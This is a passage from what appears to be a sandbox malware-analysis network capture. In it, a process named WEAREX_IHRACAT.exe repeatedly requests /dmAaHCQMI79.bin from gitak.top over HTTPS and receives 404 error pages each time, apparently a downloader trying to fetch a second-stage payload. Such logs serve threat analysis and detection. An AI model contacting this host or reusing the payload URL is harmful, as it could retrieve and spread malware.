2024-08-29 10:45:34 UTC	693	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:45:34 UTC	1369	IN	Data Raw: 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a 09 09 09 Data Ascii: margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;
2024-08-29 10:45:34 UTC	911	IN	Data Raw: 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 Data Ascii: 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.62
2024-08-29 10:45:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.11.20	49807	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:45:44 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:45:44 UTC	686	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:45:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 137 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I8mdVRsckUPkt8lQImW1t%2FJNUaQlVWdid47Dt%2B8tQOwfS6LRTGKaX6Jf%2Fwwyu%2FhoOWUjgJQazpjxkQtSARQtuY%2BaOgW%2Bdd0lXnN5SPiV%2F4If74pYAqji2H2U9EA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf4099fdbc964-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:45:44 UTC	683	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:45:44 UTC	1369	IN	Data Raw: 6d 3a 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 Data Ascii: m: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: f
2024-08-29 10:45:44 UTC	921	IN	Data Raw: 32 38 36 2d 32 2e 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 Data Ascii: 286-2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12
2024-08-29 10:45:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.11.20	49808	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:45:54 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:45:55 UTC	682	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:45:55 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 148 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CeJDVuF8OdH73QzQxhx6Ya%2By2rTERqsl2K1PkHi6bLgELQ%2FqL6nLvm10nk7D7QPkyypge0Qv2G2NkjWPH%2F8B7rk9Te4lhDOrjOfdWum19e%2FRC%2BdAzDoTfYaziJw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf44b2cbf7fa2-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:45:55 UTC	687	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:45:55 UTC	1369	IN	Data Raw: 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 Data Ascii: 0px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeI
2024-08-29 10:45:55 UTC	917	IN	Data Raw: 32 2e 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 Data Ascii: 2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h5
2024-08-29 10:45:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.11.20	49809	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:46:05 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:46:05 UTC	676	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:46:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 158 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E9rZlVeDhwdqDZZGjQhu0dUlwNp5yTVN8CDPGJU6B0zoyrVMK4M2SFsG29iaDHhvENveahuXEZqOdbgnOQVQ2sHWgdBRoqWOO4U3NgF%2Bq5TZHM0nMTlkHxOy%2FqM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf48cbb7f5b16-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:46:05 UTC	693	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:46:05 UTC	1369	IN	Data Raw: 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a 09 09 09 Data Ascii: margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;
2024-08-29 10:46:05 UTC	911	IN	Data Raw: 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 Data Ascii: 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.62
2024-08-29 10:46:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.11.20	49810	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:46:15 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:46:16 UTC	682	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:46:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 169 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XpFerUiOo3ZV%2BbxUG8g34luJU5ejspS3NVs3q3CJs2XmEzhBLIZLkq89aryqZdIuxLnwRKNWVBj0ZdMOukG4KD%2FvXYU%2FB4y%2Bz%2FWxC6azEhijd6PBBys1vx21i1o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf4ce5fc505e2-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:46:16 UTC	687	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:46:16 UTC	1369	IN	Data Raw: 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 Data Ascii: 0px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeI
2024-08-29 10:46:16 UTC	917	IN	Data Raw: 32 2e 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 Data Ascii: 2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h5
2024-08-29 10:46:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.11.20	49811	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:46:26 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:46:26 UTC	680	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:46:26 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 179 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CNIMbtOHrHgJlLrjgfSeKe%2FL%2BGXi9zf5%2B4BVoo87xepPBkNa48MR2OZKtRgL2hVw06Eoyk8ByvYbFOoZq%2FZs8XbiuIqUfl5P2iAH2OBG4iNDvsOkUL2ItgjTUsU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf50feb7f0949-IAD alt-svc: h3=":443"; ma=86400
